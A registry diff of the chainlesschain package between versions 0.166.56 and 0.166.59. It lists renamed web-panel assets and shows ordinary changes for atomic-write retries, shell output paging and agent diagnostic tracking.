chainlesschain 0.166.56 → 0.166.59
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +3 -2
- package/src/assets/web-panel/assets/{AIOps-CBFnwYRX.js → AIOps-B9i3kk5f.js} +1 -1
- package/src/assets/web-panel/assets/{ActionButton-Sl4eXWpR.js → ActionButton-DGMs1wBm.js} +1 -1
- package/src/assets/web-panel/assets/{Analytics-DB0lD9Kb.js → Analytics-D-JGeynM.js} +3 -3
- package/src/assets/web-panel/assets/{AppLayout-j77EmkRK.js → AppLayout-DLECnXlP.js} +5 -5
- package/src/assets/web-panel/assets/{Artifacts-CU3izCW9.js → Artifacts-CwaTiXN4.js} +1 -1
- package/src/assets/web-panel/assets/{Audit-C44fSibb.js → Audit-BCb7s5Ky.js} +1 -1
- package/src/assets/web-panel/assets/{BackgroundAgents-pM_NnJW3.js → BackgroundAgents-D4IOzvKs.js} +1 -1
- package/src/assets/web-panel/assets/{Backup-AOHXqhxN.js → Backup-Cknunk10.js} +1 -1
- package/src/assets/web-panel/assets/{BaseInput-DaYc8oA_.js → BaseInput-DnU8pbUh.js} +1 -1
- package/src/assets/web-panel/assets/{Chat-CmlCAXxW.js → Chat-DOouYIhz.js} +5 -5
- package/src/assets/web-panel/assets/{ChatBubbleRenderer-CkCSkJDJ.js → ChatBubbleRenderer-C4tdSms8.js} +1 -1
- package/src/assets/web-panel/assets/{Checkbox-DISI7iaA.js → Checkbox-BrumNw6V.js} +1 -1
- package/src/assets/web-panel/assets/{Codegen-BYpeKUpf.js → Codegen-B4E_uI_N.js} +1 -1
- package/src/assets/web-panel/assets/{Col-Dk6VwWGq.js → Col-C7H2sdaL.js} +1 -1
- package/src/assets/web-panel/assets/{Community-BDyTedMu.js → Community-BFdzcMSl.js} +1 -1
- package/src/assets/web-panel/assets/{Compact-CTNlGM9X.js → Compact-BzVXohrg.js} +1 -1
- package/src/assets/web-panel/assets/{Compliance-C_tw3IdT.js → Compliance-B_4QcuSH.js} +1 -1
- package/src/assets/web-panel/assets/{Cowork-cduHWEmo.js → Cowork-DjuQzJx8.js} +3 -3
- package/src/assets/web-panel/assets/{Cron-Dqotjv-s.js → Cron-Bf2iY-1-.js} +2 -2
- package/src/assets/web-panel/assets/{Crosschain-ByW7RsJQ.js → Crosschain-CY9QW7IT.js} +1 -1
- package/src/assets/web-panel/assets/{DID-BI-lafPj.js → DID-kDZBvaKr.js} +2 -2
- package/src/assets/web-panel/assets/{Dashboard-8m50TRZL.js → Dashboard-DoYboS3g.js} +2 -2
- package/src/assets/web-panel/assets/{Dropdown-CN3hmRTc.js → Dropdown-LLEzI6l1.js} +1 -1
- package/src/assets/web-panel/assets/{EmailListRenderer-t0lzxsDT.js → EmailListRenderer-D2kmSvkg.js} +1 -1
- package/src/assets/web-panel/assets/{EvolutionSettings-DabpA3cQ.js → EvolutionSettings-DHj2yUGZ.js} +1 -1
- package/src/assets/web-panel/assets/{FamilyGuardDashboard-BYN4UshY.js → FamilyGuardDashboard-B7Hg7fR0.js} +1 -1
- package/src/assets/web-panel/assets/{Federation-n44OtIXp.js → Federation-CUdwU6aH.js} +1 -1
- package/src/assets/web-panel/assets/{FormItemContext-B-WXDu_I.js → FormItemContext-D1KrwjwY.js} +1 -1
- package/src/assets/web-panel/assets/{GenericCardRenderer-Bm7v-mTf.js → GenericCardRenderer-CXGLoHfw.js} +1 -1
- package/src/assets/web-panel/assets/{Git-BMIS6sbo.js → Git-TG3Q9JWG.js} +2 -2
- package/src/assets/web-panel/assets/{Governance-B1EhHobE.js → Governance-BJD7h_fv.js} +1 -1
- package/src/assets/web-panel/assets/{Inference-Dy_HJWHo.js → Inference-Dky4l_bZ.js} +1 -1
- package/src/assets/web-panel/assets/{KnowledgeGraph-BVdfUbZy.js → KnowledgeGraph-CCx9aXBV.js} +1 -1
- package/src/assets/web-panel/assets/Logs-BtesccPB.js +2 -0
- package/src/assets/web-panel/assets/MarkdownRenderer-DoN7oE2J.js +1 -0
- package/src/assets/web-panel/assets/{Marketplace-Bw4HWORj.js → Marketplace-BzL6KJMX.js} +1 -1
- package/src/assets/web-panel/assets/{McpTools-Be6DPfA1.js → McpTools-BReSRzEU.js} +3 -3
- package/src/assets/web-panel/assets/{Memory-DlvLafC9.js → Memory-BhmkkCxd.js} +2 -2
- package/src/assets/web-panel/assets/{MobileBridge-Upc_Jwlt.js → MobileBridge-BeQMHr_n.js} +1 -1
- package/src/assets/web-panel/assets/{MobileProjects-I17jrUbY.js → MobileProjects-CphEwj_l.js} +1 -1
- package/src/assets/web-panel/assets/{Mtc-DyBzY0GH.js → Mtc-CFk1ibuN.js} +2 -2
- package/src/assets/web-panel/assets/{MtcAudit-2-7xAwEo.js → MtcAudit-CU9qrmbH.js} +5 -5
- package/src/assets/web-panel/assets/{Multisig-DtUZpFmZ.js → Multisig-CKR-Gh0Y.js} +3 -3
- package/src/assets/web-panel/assets/{NLProgramming-iInH7jBr.js → NLProgramming-D1qWY6Mx.js} +1 -1
- package/src/assets/web-panel/assets/{Notes-BO3Z3vaS.js → Notes-B4CM0C65.js} +4 -4
- package/src/assets/web-panel/assets/{NotificationSettings-ClX_0jFE.js → NotificationSettings-BTQYWveR.js} +1 -1
- package/src/assets/web-panel/assets/{OrderTableRenderer-Czw742w4.js → OrderTableRenderer-DxN6fAn8.js} +1 -1
- package/src/assets/web-panel/assets/{Organization-BATEx24i.js → Organization-scgboNfd.js} +4 -4
- package/src/assets/web-panel/assets/{Overflow-B_PXMNia.js → Overflow-BP4aQhid.js} +1 -1
- package/src/assets/web-panel/assets/{P2P-BSiE8PqT.js → P2P-65jIo6MY.js} +2 -2
- package/src/assets/web-panel/assets/{PdhVaultBrowser-BbklUgZY.js → PdhVaultBrowser-Bfi4-tDQ.js} +5 -5
- package/src/assets/web-panel/assets/{Permissions-B7bpflT_.js → Permissions-DWtxT7bE.js} +3 -3
- package/src/assets/web-panel/assets/{PersonalDataHub-BWZS4BLy.js → PersonalDataHub-Bilmr8BR.js} +4 -4
- package/src/assets/web-panel/assets/{Pipeline-DP2YSs6H.js → Pipeline-IPIMM-1y.js} +1 -1
- package/src/assets/web-panel/assets/{Privacy-DB9ptoH0.js → Privacy-DFB8RiVK.js} +1 -1
- package/src/assets/web-panel/assets/{ProjectInit-BAfePyYk.js → ProjectInit-DxZksvu1.js} +2 -2
- package/src/assets/web-panel/assets/{ProjectSettings-BEXn4Cm3.js → ProjectSettings-DsjPsnYN.js} +2 -2
- package/src/assets/web-panel/assets/{Projects-BzSs0rzn.js → Projects-CC5FBLLq.js} +1 -1
- package/src/assets/web-panel/assets/{Providers-CRX9TdRO.js → Providers-Dk3ViPuF.js} +1 -1
- package/src/assets/web-panel/assets/{QrScannerModal-DUWcSY5L.js → QrScannerModal-CJ8R6-bF.js} +1 -1
- package/src/assets/web-panel/assets/{QuickAsk-Cgo3Z_hs.js → QuickAsk-DJfCPORc.js} +1 -1
- package/src/assets/web-panel/assets/{Recommend-Dcinx0IW.js → Recommend-DjDygXeb.js} +1 -1
- package/src/assets/web-panel/assets/{RemoteSession-BMZzTnAN.js → RemoteSession-BJiJ1YHw.js} +2 -2
- package/src/assets/web-panel/assets/{Reputation-BdZzpOp9.js → Reputation-fYE8jPcc.js} +1 -1
- package/src/assets/web-panel/assets/{Row-DqM8GVcx.js → Row-vcvsjMm4.js} +1 -1
- package/src/assets/web-panel/assets/{RssFeed-Soj_QBK3.js → RssFeed-CZnKliwn.js} +3 -3
- package/src/assets/web-panel/assets/{Search-Cn2es0-v.js → Search-DEStiFGI.js} +1 -1
- package/src/assets/web-panel/assets/{Security-t7C4hz3n.js → Security-BPb_szxS.js} +4 -4
- package/src/assets/web-panel/assets/{Services-ChF-e_Uf.js → Services-TR0xZhSF.js} +2 -2
- package/src/assets/web-panel/assets/{Skeleton-BiPIyK-2.js → Skeleton-BSPu9boC.js} +1 -1
- package/src/assets/web-panel/assets/{Skills-HgkKJenJ.js → Skills-CXEj9pC6.js} +1 -1
- package/src/assets/web-panel/assets/{Sla-BSfluv_k.js → Sla-jlOlDGMA.js} +1 -1
- package/src/assets/web-panel/assets/{SpeechSettings-Sm0Gz9tM.js → SpeechSettings-C8oPE_HQ.js} +1 -1
- package/src/assets/web-panel/assets/{SyncSettings-DlhBMnfU.js → SyncSettings-DZNUx8zt.js} +2 -2
- package/src/assets/web-panel/assets/{Tasks-C7OUvsnp.js → Tasks-B4T6aoOl.js} +1 -1
- package/src/assets/web-panel/assets/{Templates-CrMtw87y.js → Templates-DeRgtwZ5.js} +1 -1
- package/src/assets/web-panel/assets/{Tenant-DSNSB6j5.js → Tenant-DDVoXGxa.js} +1 -1
- package/src/assets/web-panel/assets/{Terminal-Cmh78FQg.js → Terminal-DGAUoJMz.js} +2 -2
- package/src/assets/web-panel/assets/{TimelineRenderer-BE8b8lHR.js → TimelineRenderer-Co4Nkpjm.js} +1 -1
- package/src/assets/web-panel/assets/{Tokens-BrtgdIvJ.js → Tokens-DaMLa0Fm.js} +1 -1
- package/src/assets/web-panel/assets/{Trigger-HCmaoKDp.js → Trigger-C7iLr-Ik.js} +1 -1
- package/src/assets/web-panel/assets/{Trust-GASQ4F-2.js → Trust-CxX_tQqi.js} +1 -1
- package/src/assets/web-panel/assets/{UkeySign-B8kSzWGr.js → UkeySign-ClrdckEx.js} +1 -1
- package/src/assets/web-panel/assets/{VideoEditing-Nn-clhv5.js → VideoEditing-DgTVhaoK.js} +1 -1
- package/src/assets/web-panel/assets/{Wallet-DdYMKTYk.js → Wallet-SIbwES0O.js} +4 -4
- package/src/assets/web-panel/assets/{WebAuthn-xJXUr_eK.js → WebAuthn-YNqVnhZF.js} +3 -3
- package/src/assets/web-panel/assets/{WorkflowEditor-CbSa87av.js → WorkflowEditor-BvynT9mj.js} +1 -1
- package/src/assets/web-panel/assets/{chat-CVrNLGUV.js → chat-X79b2tVy.js} +1 -1
- package/src/assets/web-panel/assets/{colors-e2veLfIA.js → colors-DioWDCbu.js} +1 -1
- package/src/assets/web-panel/assets/{compact-item-CNd7nhUq.js → compact-item-DpAXXaqu.js} +1 -1
- package/src/assets/web-panel/assets/{createContext-DEudTVqv.js → createContext-BYq8bCQX.js} +1 -1
- package/src/assets/web-panel/assets/devWarning-ONeWC5dH.js +1 -0
- package/src/assets/web-panel/assets/{hasIn-BlSAFZa3.js → hasIn-CDJNMJ_n.js} +1 -1
- package/src/assets/web-panel/assets/index--QLnQuO9.js +1 -0
- package/src/assets/web-panel/assets/{index-BptI9bLu.js → index-00kVj4me.js} +1 -1
- package/src/assets/web-panel/assets/{index-4ZT0vIJt.js → index-B6wxVEIZ.js} +1 -1
- package/src/assets/web-panel/assets/{index-CK6Rb66R.js → index-B8ChecWd.js} +1 -1
- package/src/assets/web-panel/assets/{index-Bp4Gcn9u.js → index-B8_grEFP.js} +1 -1
- package/src/assets/web-panel/assets/{index-DVORJydf.js → index-BBvA7Hxj.js} +1 -1
- package/src/assets/web-panel/assets/{index-Bqeb4jnC.js → index-BGEXGr9g.js} +1 -1
- package/src/assets/web-panel/assets/{index-CWuv47z0.js → index-BIO8EVHt.js} +1 -1
- package/src/assets/web-panel/assets/{index-DtrqgNBl.js → index-BK53HyEP.js} +1 -1
- package/src/assets/web-panel/assets/{index-ClROBPWd.js → index-Bh9la-GL.js} +1 -1
- package/src/assets/web-panel/assets/{index-Bwtt-0CQ.js → index-Bt0zcD5R.js} +1 -1
- package/src/assets/web-panel/assets/{index-DyFZ7gDd.js → index-BwHEGjR7.js} +1 -1
- package/src/assets/web-panel/assets/{index-D_D7lcnQ.js → index-Byt1ny7l.js} +1 -1
- package/src/assets/web-panel/assets/{index-BMIhGZUR.js → index-C1-NqghD.js} +1 -1
- package/src/assets/web-panel/assets/{index-BRNCKg4q.js → index-C4xggKQp.js} +1 -1
- package/src/assets/web-panel/assets/{index-CgVwz2jD.js → index-C7cXBJcM.js} +1 -1
- package/src/assets/web-panel/assets/{index-7-7rr4Mf.js → index-CJEFd0QJ.js} +1 -1
- package/src/assets/web-panel/assets/{index-BpH6T1gA.js → index-CLSt7mOy.js} +1 -1
- package/src/assets/web-panel/assets/{index-BmVFeSEq.js → index-COqkDiRU.js} +1 -1
- package/src/assets/web-panel/assets/{index-CHMrAZiR.js → index-CS3QdYDW.js} +1 -1
- package/src/assets/web-panel/assets/{index-CU4Y4VVN.js → index-CUbuCFWb.js} +1 -1
- package/src/assets/web-panel/assets/{index-Lm9pm1zm.js → index-CbxqdIzD.js} +1 -1
- package/src/assets/web-panel/assets/index-CkgeII0e.js +1 -0
- package/src/assets/web-panel/assets/{index-DFv-nsIT.js → index-Cx0_WiSe.js} +1 -1
- package/src/assets/web-panel/assets/{index-DJ5gsewX.js → index-D3J9FKFr.js} +1 -1
- package/src/assets/web-panel/assets/{index-DwjWRUTf.js → index-D88MWTOx.js} +1 -1
- package/src/assets/web-panel/assets/{index-B_UNX_xq.js → index-DAnXSg0r.js} +1 -1
- package/src/assets/web-panel/assets/{index-DFzvcZ3Q.js → index-DP9ZLjra.js} +1 -1
- package/src/assets/web-panel/assets/{index-Ec6VBiV-.js → index-DSFkmRvK.js} +1 -1
- package/src/assets/web-panel/assets/{index-B1C1wS5c.js → index-DUe-hFGb.js} +1 -1
- package/src/assets/web-panel/assets/{index-CYNoXhxl.js → index-DZysaS5T.js} +1 -1
- package/src/assets/web-panel/assets/{index-C6zGNZ5H.js → index-DmNspbVU.js} +1 -1
- package/src/assets/web-panel/assets/{index-C4h_Bvd2.js → index-DwG9khVs.js} +1 -1
- package/src/assets/web-panel/assets/{index-hzUfIn4u.js → index-Q3WQ5Zhr.js} +1 -1
- package/src/assets/web-panel/assets/{index-Jk99aZIr.js → index-TqLyy6IR.js} +3 -3
- package/src/assets/web-panel/assets/{index-MuTb62K6.js → index-V6l3ia83.js} +1 -1
- package/src/assets/web-panel/assets/{index-D7yJceTZ.js → index-Wl55a61D.js} +1 -1
- package/src/assets/web-panel/assets/{index-0y7tHZdT.js → index-YviHYMA2.js} +1 -1
- package/src/assets/web-panel/assets/{index-BG-VNepa.js → index-mHAPEcPi.js} +1 -1
- package/src/assets/web-panel/assets/{initDefaultProps-C6fpNcA5.js → initDefaultProps-18rmGkik.js} +1 -1
- package/src/assets/web-panel/assets/{motion-Bjh9Come.js → motion-3kvGzSgV.js} +1 -1
- package/src/assets/web-panel/assets/{move-DFa4ul-_.js → move-Dx3DiVHc.js} +1 -1
- package/src/assets/web-panel/assets/{mtc-parser-KoYqA_e5.js → mtc-parser-VX1dFJEI.js} +1 -1
- package/src/assets/web-panel/assets/{omit-ByTjP-wG.js → omit-CniSeCOA.js} +1 -1
- package/src/assets/web-panel/assets/{pickAttrs-CG_rmTxx.js → pickAttrs-RPggmcOd.js} +1 -1
- package/src/assets/web-panel/assets/{placementArrow-LDePZ8V9.js → placementArrow-B45YBykr.js} +1 -1
- package/src/assets/web-panel/assets/{responsiveObserve-DZFzH4RR.js → responsiveObserve-D0nciAEn.js} +1 -1
- package/src/assets/web-panel/assets/{slide-DfXQyTvD.js → slide-UxLNWqjI.js} +1 -1
- package/src/assets/web-panel/assets/{statusUtils-CuhqsJfO.js → statusUtils-CukpV_uI.js} +1 -1
- package/src/assets/web-panel/assets/{styleChecker-qqVjJw5u.js → styleChecker-BIcEZk6Y.js} +1 -1
- package/src/assets/web-panel/assets/{useFlexGapSupport-BPxnCxcb.js → useFlexGapSupport-Zah-xvV3.js} +1 -1
- package/src/assets/web-panel/assets/{useFs-D11NLCjV.js → useFs-BA7ihKFN.js} +1 -1
- package/src/assets/web-panel/assets/{usePersonalDataHub-HbZVcaCX.js → usePersonalDataHub-C64CsyY3.js} +1 -1
- package/src/assets/web-panel/assets/{vnode-CZHQlfTu.js → vnode-Datcekgj.js} +1 -1
- package/src/assets/web-panel/assets/{zoom-CV3rUknJ.js → zoom-CaFQv1KF.js} +1 -1
- package/src/assets/web-panel/index.html +1 -1
- package/src/commands/agent.js +5 -0
- package/src/commands/config.js +19 -10
- package/src/commands/eval.js +39 -4
- package/src/data/changelog.json +52 -0
- package/src/generated/cc-agent-protocol.schema.json +65 -1
- package/src/lib/context-memory-kernel/jsonl-session-context-port.js +33 -0
- package/src/lib/context-memory-kernel/task-worklog-port.js +388 -0
- package/src/lib/diagnostic-excerpt.js +51 -0
- package/src/lib/diagnostic-workflow.js +10 -0
- package/src/lib/eval/evidence.js +19 -10
- package/src/lib/eval/outcomes.js +373 -0
- package/src/lib/eval/runner.js +6 -0
- package/src/lib/git-tool-input.js +37 -0
- package/src/lib/llm-config-defaults.js +32 -9
- package/src/lib/public-ide-capability-manifest.js +1 -0
- package/src/lib/read-file-loop-guard.js +54 -0
- package/src/lib/remote-read-loop-guard.js +12 -14
- package/src/lib/session-message-fabric.js +74 -37
- package/src/lib/shell-output.js +30 -0
- package/src/lib/task-progress-tracker.js +88 -0
- package/src/runtime/agent-core.js +97 -22
- package/src/runtime/headless-stream.js +143 -1
- package/src/assets/web-panel/assets/Logs-Dph_oLQk.js +0 -2
- package/src/assets/web-panel/assets/MarkdownRenderer-CNHYqcxm.js +0 -1
- package/src/assets/web-panel/assets/devWarning-DW7he-SA.js +0 -1
- package/src/assets/web-panel/assets/index-IkoHuWRe.js +0 -1
- package/src/assets/web-panel/assets/index-MwqsDbb1.js +0 -1
|
@@ -31,6 +31,31 @@ export const SESSION_MESSAGE_POLICIES = Object.freeze([
|
|
|
31
31
|
"refuse",
|
|
32
32
|
]);
|
|
33
33
|
|
|
34
|
+
// Windows can briefly retain a handle on a just-written state file while an
|
|
35
|
+
// antivirus scanner, indexer, or another process observes it. Retrying the
|
|
36
|
+
// atomic write is safe while this process still owns the state lock: no
|
|
37
|
+
// business mutation is re-run, and no error after the final rename is retried.
|
|
38
|
+
// Keep this deliberately short so genuine filesystem failures remain
|
|
39
|
+
// fail-closed.
|
|
40
|
+
const TRANSIENT_ATOMIC_WRITE_ERROR_CODES = new Set([
|
|
41
|
+
"EACCES",
|
|
42
|
+
"EBUSY",
|
|
43
|
+
"EPERM",
|
|
44
|
+
]);
|
|
45
|
+
const MAX_ATOMIC_WRITE_ATTEMPTS = 5;
|
|
46
|
+
|
|
47
|
+
function waitForAtomicWriteRetry(attempt) {
|
|
48
|
+
const delayMs = Math.min(100, 5 * 2 ** attempt);
|
|
49
|
+
try {
|
|
50
|
+
Atomics.wait(new Int32Array(new SharedArrayBuffer(4)), 0, 0, delayMs);
|
|
51
|
+
} catch {
|
|
52
|
+
const deadline = Date.now() + delayMs;
|
|
53
|
+
while (Date.now() < deadline) {
|
|
54
|
+
// SharedArrayBuffer is unavailable only in constrained runtimes.
|
|
55
|
+
}
|
|
56
|
+
}
|
|
57
|
+
}
|
|
58
|
+
|
|
34
59
|
export const SESSION_MESSAGE_RECEIPT_STATUSES = Object.freeze([
|
|
35
60
|
"delivered",
|
|
36
61
|
"held",
|
|
@@ -756,50 +781,62 @@ export class SessionMessageFabric {
|
|
|
756
781
|
|
|
757
782
|
_writeState(state) {
|
|
758
783
|
const directory = path.dirname(this.statePath);
|
|
759
|
-
const
|
|
760
|
-
|
|
761
|
-
|
|
762
|
-
|
|
763
|
-
|
|
764
|
-
|
|
765
|
-
descriptor = fs.openSync(temporary, "wx", 0o600);
|
|
766
|
-
fs.writeFileSync(
|
|
767
|
-
descriptor,
|
|
768
|
-
`${JSON.stringify(state, null, 2)}\n`,
|
|
769
|
-
"utf8",
|
|
784
|
+
const serialized = `${JSON.stringify(state, null, 2)}\n`;
|
|
785
|
+
let lastCause;
|
|
786
|
+
for (let attempt = 0; attempt < MAX_ATOMIC_WRITE_ATTEMPTS; attempt += 1) {
|
|
787
|
+
const temporary = path.join(
|
|
788
|
+
directory,
|
|
789
|
+
`.${path.basename(this.statePath)}.${process.pid}.${this._createId()}.tmp`,
|
|
770
790
|
);
|
|
771
|
-
|
|
772
|
-
|
|
773
|
-
|
|
774
|
-
|
|
775
|
-
|
|
776
|
-
|
|
777
|
-
|
|
778
|
-
|
|
779
|
-
|
|
780
|
-
|
|
791
|
+
let descriptor = null;
|
|
792
|
+
let renamed = false;
|
|
793
|
+
try {
|
|
794
|
+
descriptor = fs.openSync(temporary, "wx", 0o600);
|
|
795
|
+
fs.writeFileSync(descriptor, serialized, "utf8");
|
|
796
|
+
fs.fsyncSync(descriptor);
|
|
797
|
+
fs.closeSync(descriptor);
|
|
798
|
+
descriptor = null;
|
|
799
|
+
fs.renameSync(temporary, this.statePath);
|
|
800
|
+
renamed = true;
|
|
801
|
+
if (process.platform !== "win32") {
|
|
802
|
+
const directoryDescriptor = fs.openSync(directory, "r");
|
|
803
|
+
try {
|
|
804
|
+
fs.fsyncSync(directoryDescriptor);
|
|
805
|
+
} finally {
|
|
806
|
+
fs.closeSync(directoryDescriptor);
|
|
807
|
+
}
|
|
808
|
+
}
|
|
809
|
+
return;
|
|
810
|
+
} catch (cause) {
|
|
811
|
+
lastCause = cause;
|
|
812
|
+
if (descriptor != null) {
|
|
813
|
+
try {
|
|
814
|
+
fs.closeSync(descriptor);
|
|
815
|
+
} catch {
|
|
816
|
+
// Preserve the original write failure.
|
|
817
|
+
}
|
|
781
818
|
}
|
|
782
|
-
}
|
|
783
|
-
} catch (cause) {
|
|
784
|
-
if (descriptor != null) {
|
|
785
819
|
try {
|
|
786
|
-
fs.
|
|
820
|
+
fs.unlinkSync(temporary);
|
|
787
821
|
} catch {
|
|
788
|
-
//
|
|
822
|
+
// The rename may already have committed, or no temporary was created.
|
|
789
823
|
}
|
|
824
|
+
if (
|
|
825
|
+
renamed ||
|
|
826
|
+
!TRANSIENT_ATOMIC_WRITE_ERROR_CODES.has(cause?.code) ||
|
|
827
|
+
attempt + 1 >= MAX_ATOMIC_WRITE_ATTEMPTS
|
|
828
|
+
) {
|
|
829
|
+
break;
|
|
830
|
+
}
|
|
831
|
+
waitForAtomicWriteRetry(attempt);
|
|
790
832
|
}
|
|
791
|
-
try {
|
|
792
|
-
fs.unlinkSync(temporary);
|
|
793
|
-
} catch {
|
|
794
|
-
// The rename may already have committed, or no temporary was created.
|
|
795
|
-
}
|
|
796
|
-
throw fabricError(
|
|
797
|
-
SESSION_MESSAGE_FABRIC_ERROR_CODES.STATE_UNAVAILABLE,
|
|
798
|
-
"Could not atomically persist session message state",
|
|
799
|
-
{},
|
|
800
|
-
cause,
|
|
801
|
-
);
|
|
802
833
|
}
|
|
834
|
+
throw fabricError(
|
|
835
|
+
SESSION_MESSAGE_FABRIC_ERROR_CODES.STATE_UNAVAILABLE,
|
|
836
|
+
"Could not atomically persist session message state",
|
|
837
|
+
{},
|
|
838
|
+
lastCause,
|
|
839
|
+
);
|
|
803
840
|
}
|
|
804
841
|
|
|
805
842
|
_transaction(mutator, { expectedRevision = null } = {}) {
|
|
@@ -0,0 +1,30 @@
|
|
|
1
|
+
import { diagnosticExcerpt } from "./diagnostic-excerpt.js";
|
|
2
|
+
|
|
3
|
+
/** Page size includes JSON escaping so later serialization does not lose data. */
|
|
4
|
+
export function shellOutputPage(value, budget) {
|
|
5
|
+
const text = String(value ?? "");
|
|
6
|
+
let low = 0;
|
|
7
|
+
let high = Math.min(text.length, budget);
|
|
8
|
+
while (low < high) {
|
|
9
|
+
const mid = Math.ceil((low + high) / 2);
|
|
10
|
+
if (JSON.stringify(text.slice(0, mid)).length <= budget) low = mid;
|
|
11
|
+
else high = mid - 1;
|
|
12
|
+
}
|
|
13
|
+
if (low > 0 && /[\uD800-\uDBFF]/.test(text[low - 1])) low--;
|
|
14
|
+
return { text: text.slice(0, low), remaining: text.length - low };
|
|
15
|
+
}
|
|
16
|
+
|
|
17
|
+
/** Foreground commands cannot be repolled; expose omitted diagnostic context. */
|
|
18
|
+
export function shellOutputPreview(value, field, budget) {
|
|
19
|
+
const text = String(value ?? "");
|
|
20
|
+
const page = shellOutputPage(text, budget);
|
|
21
|
+
if (!page.remaining) return { [field]: page.text };
|
|
22
|
+
return {
|
|
23
|
+
[`${field}_truncated`]: true,
|
|
24
|
+
[`${field}_total_chars`]: text.length,
|
|
25
|
+
[`${field}_diagnostics`]: diagnosticExcerpt(text),
|
|
26
|
+
[field]: page.text,
|
|
27
|
+
output_hint:
|
|
28
|
+
"Output is incomplete. Diagnostic excerpts are source evidence, not a root-cause verdict. For long reproductions use run_in_background and drain check_shell with task_id; preserve a full CI log once before filtering it.",
|
|
29
|
+
};
|
|
30
|
+
}
|
|
@@ -1,5 +1,7 @@
|
|
|
1
1
|
import { createHash } from "node:crypto";
|
|
2
2
|
import { remoteReadTarget } from "./remote-read-loop-guard.js";
|
|
3
|
+
import { diagnosticExcerpt } from "./diagnostic-excerpt.js";
|
|
4
|
+
import { DIAGNOSTIC_WORKFLOW_GUIDANCE } from "./diagnostic-workflow.js";
|
|
3
5
|
|
|
4
6
|
// Discovery and bookkeeping are useful, but are not evidence that the task
|
|
5
7
|
// advanced. In particular, dispatching a child must not buy a fresh budget.
|
|
@@ -82,6 +84,7 @@ export class TaskProgressTracker {
|
|
|
82
84
|
this.lastActions = [];
|
|
83
85
|
this.remoteInspections = [];
|
|
84
86
|
this.localFindings = [];
|
|
87
|
+
this.diagnostics = [];
|
|
85
88
|
}
|
|
86
89
|
|
|
87
90
|
retainChildResult(id, result, owner = "root") {
|
|
@@ -121,6 +124,82 @@ export class TaskProgressTracker {
|
|
|
121
124
|
typeof args.old_string === "string" &&
|
|
122
125
|
args.old_string === args.new_string);
|
|
123
126
|
|
|
127
|
+
// Preserve observed reproduction results through compaction, including
|
|
128
|
+
// failed runs and completed background tasks. They do not establish that
|
|
129
|
+
// the original CI failure was reproduced or fixed.
|
|
130
|
+
if (
|
|
131
|
+
["run_shell", "run_code", "check_shell"].includes(tool) &&
|
|
132
|
+
result?.code !== "CC_TOOL_RECOVERY_PAUSED" &&
|
|
133
|
+
!(tool === "check_shell" && !args.task_id)
|
|
134
|
+
) {
|
|
135
|
+
const taskId = result?.task_id || args.task_id || null;
|
|
136
|
+
const previous =
|
|
137
|
+
taskId &&
|
|
138
|
+
this.diagnostics.find(
|
|
139
|
+
(entry) => entry.owner === owner && entry.taskId === taskId,
|
|
140
|
+
);
|
|
141
|
+
const output = [
|
|
142
|
+
result?.stdout_diagnostics,
|
|
143
|
+
result?.stderr_diagnostics,
|
|
144
|
+
result?.error,
|
|
145
|
+
result?.output,
|
|
146
|
+
result?.stdout,
|
|
147
|
+
result?.stderr,
|
|
148
|
+
]
|
|
149
|
+
.filter(Boolean)
|
|
150
|
+
.join("\n");
|
|
151
|
+
if (output || taskId || Number.isInteger(result?.exitCode)) {
|
|
152
|
+
const command = args.command || result?.command || args.code || "";
|
|
153
|
+
const remoteTarget = remoteReadTarget(tool, args);
|
|
154
|
+
const entry = {
|
|
155
|
+
owner,
|
|
156
|
+
tool,
|
|
157
|
+
taskId,
|
|
158
|
+
observedAt: this.now(),
|
|
159
|
+
remoteTarget: remoteTarget?.key || previous?.remoteTarget || null,
|
|
160
|
+
source:
|
|
161
|
+
previous?.source ||
|
|
162
|
+
(remoteTarget?.github || isRemoteInspectionCommand(command)
|
|
163
|
+
? "remote-inspection"
|
|
164
|
+
: "local-execution"),
|
|
165
|
+
invocation: boundedText(command || previous?.invocation, 1000),
|
|
166
|
+
invocationTruncated: command
|
|
167
|
+
? command.length > 1000
|
|
168
|
+
: previous?.invocationTruncated || false,
|
|
169
|
+
exitCode: result?.exitCode ?? result?.exit_code ?? null,
|
|
170
|
+
status:
|
|
171
|
+
result?.status ||
|
|
172
|
+
(result?.background ? "running" : failed ? "failed" : "completed"),
|
|
173
|
+
outputLost:
|
|
174
|
+
previous?.outputLost === true ||
|
|
175
|
+
!!result?.stdout_dropped_bytes ||
|
|
176
|
+
!!result?.stderr_dropped_bytes,
|
|
177
|
+
outputIncomplete:
|
|
178
|
+
previous?.outputLost === true ||
|
|
179
|
+
result?.has_more_output === true ||
|
|
180
|
+
result?.stdout_truncated === true ||
|
|
181
|
+
result?.stderr_truncated === true ||
|
|
182
|
+
result?.truncated === true ||
|
|
183
|
+
!!result?.stdout_dropped_bytes ||
|
|
184
|
+
!!result?.stderr_dropped_bytes,
|
|
185
|
+
output: diagnosticExcerpt(
|
|
186
|
+
[previous?.output, output].filter(Boolean).join("\n"),
|
|
187
|
+
1200,
|
|
188
|
+
),
|
|
189
|
+
};
|
|
190
|
+
const owned = [
|
|
191
|
+
...this.diagnostics.filter(
|
|
192
|
+
(item) => item.owner === owner && item !== previous,
|
|
193
|
+
),
|
|
194
|
+
entry,
|
|
195
|
+
].slice(-4);
|
|
196
|
+
this.diagnostics = [
|
|
197
|
+
...this.diagnostics.filter((item) => item.owner !== owner),
|
|
198
|
+
...owned,
|
|
199
|
+
].slice(-MAX_CHECKPOINT_OWNERS * 4);
|
|
200
|
+
}
|
|
201
|
+
}
|
|
202
|
+
|
|
124
203
|
if (!failed && (tool === "search_files" || tool === "read_file")) {
|
|
125
204
|
const evidence = result.content ?? result.matches ?? result.output;
|
|
126
205
|
const excerpt = boundedText(
|
|
@@ -252,6 +331,8 @@ export class TaskProgressTracker {
|
|
|
252
331
|
message +
|
|
253
332
|
" For an implementation task, make the smallest justified, authorized change and validate it. " +
|
|
254
333
|
"For a bug fix, state the observed failure, your leading root-cause hypothesis and the smallest test that can disprove it. Run that focused reproduction or diagnostic next; use its actual output to choose the next step. Do not keep reading adjacent files without naming the specific missing fact. A timeout alone does not establish that increasing the timeout is the fix. " +
|
|
334
|
+
DIAGNOSTIC_WORKFLOW_GUIDANCE +
|
|
335
|
+
" " +
|
|
255
336
|
"For research/review, synthesize evidence-backed findings; do not write files merely to clear this warning. " +
|
|
256
337
|
